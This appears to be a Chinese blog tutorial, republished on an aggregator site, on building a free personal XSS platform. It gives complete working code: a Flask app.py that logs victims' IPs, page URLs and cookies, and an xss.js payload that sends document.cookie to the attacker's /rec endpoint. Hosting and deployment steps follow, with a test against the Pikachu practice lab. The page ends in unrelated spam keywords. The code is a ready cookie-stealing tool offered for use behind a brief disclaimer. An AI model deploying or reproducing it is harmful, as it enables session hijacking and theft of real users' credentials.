千家信息网

怎么零成本搭建个人专属XSS平台

发表于:2026-10-31 作者:千家信息网编辑
千家信息网最后更新 2026年10月31日,这篇文章给大家介绍怎么零成本搭建个人专属XSS平台,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。0x00 背景介绍虽然现在网络上有许多免费的XSS平台,但使用体验往往不是很好,经
千家信息网最后更新 2026年10月31日怎么零成本搭建个人专属XSS平台

这篇文章给大家介绍怎么零成本搭建个人专属XSS平台,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

0x00 背景介绍

虽然现在网络上有许多免费的XSS平台,但使用体验往往不是很好,经常在配置时需要等待很长的加载时间,其中的脚本也难以自行修改,同时也存在可能的后台数据泄露等问题。本文意在通过其他技术途径,搭建一个临时的个人专用公网XSS平台。

使用技术及组件:

Cloud Studio:Coding旗下的云端开发环境,支持动态页面托管

python2.7/3.5+flask

js代码参考BlueLotus_XSSReceiver平台代码,可自行扩展

0x01 代码及原理

平台使用了两个代码文件:

xss.js:xss利用脚本,可扩展

app.py:网站主体文件,具体原理非常简单,将xss利用脚本挂载到网站根目录下,使用时将如下poc嵌入到xss漏洞处进行使用。

  //如果太长也可以自行生成短链

网站访问后会运行js脚本请求一张指定源的图片,通过该源构造get请求到/rec目录下,此目录挂载的功能为处理参数并写入到text.txt文件中,该文件即保存了我们最终所需要的cookie等数据。

app.py

# -*- coding: utf-8 -*-from flask import Flaskfrom flask import render_templatefrom flask import requestimport osimport datetimeAPP_ROOT = os.path.dirname(os.path.abspath(__file__))   TXT_PATH = os.path.join(APP_ROOT, 'templates') app = Flask(__name__)@app.route('/')def xss():    return render_template('xss.js')    @app.route('/rec')def rec():    x=request.args    ip=request.headers.getlist("X-Forwarded-For")[0]    with open(os.path.join(TXT_PATH, 'text.txt'), 'a+') as f:        f.write('--------------------------\n')        print 'ok'        f.write(datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')+'\n')         f.write('ip: '+ip+'\n')        f.write('location: '+x['location']+'\n')        f.write('toplocation: '+x['toplocation']+'\n')        f.write('cookie: '+x['cookie']+'\n')        f.write('opener: '+x['opener']+'\n')                return 'ok'if __name__ == '__main__':    app.run(host='0.0.0.0')

xss.js

var website = "https://(个人域名)/rec";(function() {  (new Image()).src = website + '?location=' + escape((function() {       try {           return _document.location.href      } catch (e) {           return ''      }  })()) + '&toplocation=' + escape((function() {       try {           return top.location.href      } catch (e) {           return ''      }  })()) + '&cookie=' + escape((function() {       try {           return [xss_clean]      } catch (e) {           return ''      }  })()) + '&opener=' + escape((function() {       try {           return (window.opener && window.opener.location.href) ? window.opener.location.href : ''      } catch (e) {           return ''      }  })());})();

0x02 具体部署

访问国内托管平台Coding,注册账号并登录,发布网站可能需要实名认证

点击右侧Cloud Studio进入工作空间

初始化

点击新建工作空间,设置工作空间名称XssPlatform,预置环境Ubuntu 18.04,代码来源为空

点击进入,选择Python Demo

进入后会发现存在问题,没事先记录一下这条安装执行命令,该命令具体含义为安装程序所需相关python模块并运行app.py

cat requirements.txt | xargs sudo pip install -i http://pypi.douban.com/simple --trusted-host pypi.douban.com && python app.py

关闭右下角框框,查看提示发现找不到pip命令,我们手动进行安装

apt-get update #更新软件源

apt-get upgrade #更新软件

apt-get install python-pip #安装python-pip组件

安装成功后,重新执行我们记录下来的命令运行程序

运行成功后按下ctrl+shift+p启动命令面板,输入preview,在命令列表中点击Open Preview Tab,点击选择我的第一个python项目即可查看网页预览,记录url以便后续使用

平台配置

ctrl+c结束python进程,打开app.py,复制代码文章给出的代码;

将templates下的index.html重命名为xss.js,复制代码,将个人域名处替换为记录下的网页url

在控制台输入python app.py运行网站,然后在浏览器中输入域名访问,显示为js代码内容即为配置成功

使用测试

使用pickachu开源漏洞靶场进行测试,进入反射型xss(post),登入账号,输入利用poc,点击提交

可以看到Cloud Studio中已经多出了一个文本文件text.txt,内容即为记录的cookie等信息

0x03 注意事项

仅仅提供了一个简单的平台模型,更多的还是一种思路的拓展,请勿将其用于非法用途。

另外由于Cloud Studio的相关限制,平台每天最多只能运行4个小时,关闭后就无法访问

关于怎么零成本搭建个人专属XSS平台就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

平台 代码 命令 运行 个人 文件 网站 内容 脚本 输入 成功 域名 更多 空间 工作 配置 成本 原理 技术 数据 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 高科技互联网 互联网金融 金融科技 紫鲸互联网科技 互联网科技革命 善班互联网科技有限公司 融贸通互联网科技 兼蜜互联网科技 汉立互联网科技有限公司联系电话 互联网科技公司需要的职位 港股科技和互联网 移动互联网科技公司 浙南科技城互联网大厦建设工程 长沙茂晟互联网科技有限公司 山东有哪些互联网科技公司 沐思想互联网科技有限公司 上海钢联属于互联网科技股吗 江苏苏星互联网科技有限公司 雨阳互联网卡科技有限公司 北京品多多互联网科技有限公司 互联网领先科技成果宣传视频 广州紫鲸互联网科技有限公司 互联网科技巨头监管 金融科技创新监管互联网金融 世界互联网领先科技成果 广州善班互联网科技 互联网金融监管科技 居家互联网科技有限公司 哈尔滨秒房互联网科技有限公司 佛山市拉法互联网科技有限公司 陕西云淼互联网科技公司
0